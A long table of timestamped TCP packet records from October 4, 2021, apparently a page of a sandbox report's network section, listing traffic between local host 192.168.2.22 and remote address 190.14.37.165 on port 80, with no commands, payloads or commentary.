Oct 4, 2021 17:00:19.272349119 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.272351027 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.272353888 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.273042917 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.273067951 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.273148060 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.273495913 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.313412905 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.313446045 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.313457966 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.313469887 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.313482046 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.313498974 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.313510895 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.313525915 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.313540936 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.313560009 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.313576937 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.313592911 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.313651085 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.314007998 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.314024925 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.314038992 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.314048052 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.314049959 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.314066887 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.314079046 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.314085007 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.314109087 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.314125061 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.314831972 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.314901114 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.314965010 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.316327095 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.453865051 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.453900099 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.453917027 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.453937054 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.453955889 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.453973055 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.453989029 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.454004049 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.454020023 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.454031944 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.454044104 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.454063892 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.454071999 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.454081059 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.454092979 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.454104900 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.454121113 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.454124928 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.454133034 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.454161882 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.454484940 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.455883026 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.458475113 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.458502054 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.458651066 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.459561110 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.515794039 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.515834093 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.515852928 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.515872002 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.515892029 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.515911102 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.515929937 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.515955925 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.515980005 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.516005039 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.516026974 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.516052008 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.516055107 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.516086102 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.516125917 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.516132116 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.516447067 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.516478062 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.516505957 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.516515970 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.516532898 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.516532898 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.516556025 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.516557932 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.516573906 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.516582966 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.516599894 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.516608000 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.516633034 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.516657114 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.516658068 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.516671896 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.516685009 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.516695023 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.516711950 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.516726017 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.516751051 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.516802073 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.516851902 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.517210007 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.642489910 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.642720938 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.718496084 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.718528986 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.718558073 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.718575001 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.718590975 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.718604088 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.718606949 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.718622923 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.718625069 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.718627930 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.718638897 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.718647003 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.718656063 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.718663931 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.718678951 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.718678951 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.718693972 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.718703032 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.718713999 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.718723059 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.718741894 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.718755960 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.719628096 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.719652891 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.719674110 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.719696999 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.719716072 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.719722033 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.719732046 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.719738960 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.719748974 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.719752073 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.719764948 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.719767094 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.719779968 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.719783068 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.719796896 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.719803095 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.719816923 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.719819069 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.719835997 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.719835997 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.719855070 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.719856977 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.719870090 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.719875097 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.719887972 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.719891071 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.719906092 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.719908953 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.719922066 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.719928980 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.719938993 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.719939947 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.719957113 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.719958067 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.719971895 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.719980955 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.719991922 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.719997883 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.720012903 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.720016003 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.720029116 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.720031977 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.720045090 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.720047951 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.720066071 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.720082998 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.720921040 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.824413061 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.824642897 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.921391010 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.921416044 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.921432018 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.921448946 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.921463966 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.921484947 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.921508074 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.921530008 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.921547890 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.921569109 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.921585083 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.921596050 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.921611071 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.921622038 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.921632051 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.921655893 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.921948910 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.921976089 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.921994925 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.922018051 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.922032118 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.922040939 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.922048092 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.922060013 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.922061920 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.922080040 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.922102928 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.922106981 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.922126055 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.922141075 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.922148943 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.922149897 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.922172070 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.922174931 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.922183990 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.922194004 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.922207117 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.922225952 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.922897100 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.006463051 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.006705999 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.123637915 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.123670101 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.123686075 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.123704910 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.123723984 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.123729944 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.123742104 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.123758078 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.123774052 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.123789072 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.123807907 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.123821974 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.123831034 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.123872995 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.124103069 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.124123096 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.124139071 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.124154091 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.124155045 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.124174118 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.124191046 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.124198914 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.124206066 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.124228954 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.124236107 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.124248981 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.124263048 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.124277115 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.124291897 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.124295950 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.124295950 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.124322891 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.124325037 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.124373913 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.124376059 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.124403000 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.124413013 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.124422073 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.124437094 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.124439001 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.124454021 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.124463081 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.124469995 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.124485016 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.124486923 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.124500990 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.124506950 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.124516010 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.124531031 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.124531984 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.124548912 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.124556065 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.124567032 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.124578953 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.124612093 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.126427889 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.189438105 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.189645052 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.325970888 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.326041937 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.326065063 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.326087952 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.326112032 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.326129913 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.326148033 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.326149940 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.326163054 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.326170921 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.326181889 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.326189995 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.326210022 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.326220989 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.326231003 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.326236010 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.326251984 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.326256037 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.326266050 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.326302052 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.326467037 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.326494932 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.326520920 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.326543093 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.326551914 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.326559067 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.326579094 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.326595068 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.326610088 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.326625109 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.326630116 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.326642990 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.326659918 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.326674938 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.326699972 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.326746941 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.327698946 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.371012926 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.371385098 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.530098915 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.530127048 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.530143023 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.530163050 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.530180931 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.530188084 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.530201912 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.530221939 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.530241966 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.530265093 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.530268908 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.530292034 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.530319929 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.530325890 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.530339003 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.530349970 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.530361891 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.530381918 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.530389071 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.530415058 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.530432940 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.530440092 CEST	49165	80	192.168.2.22	190.14.37.165
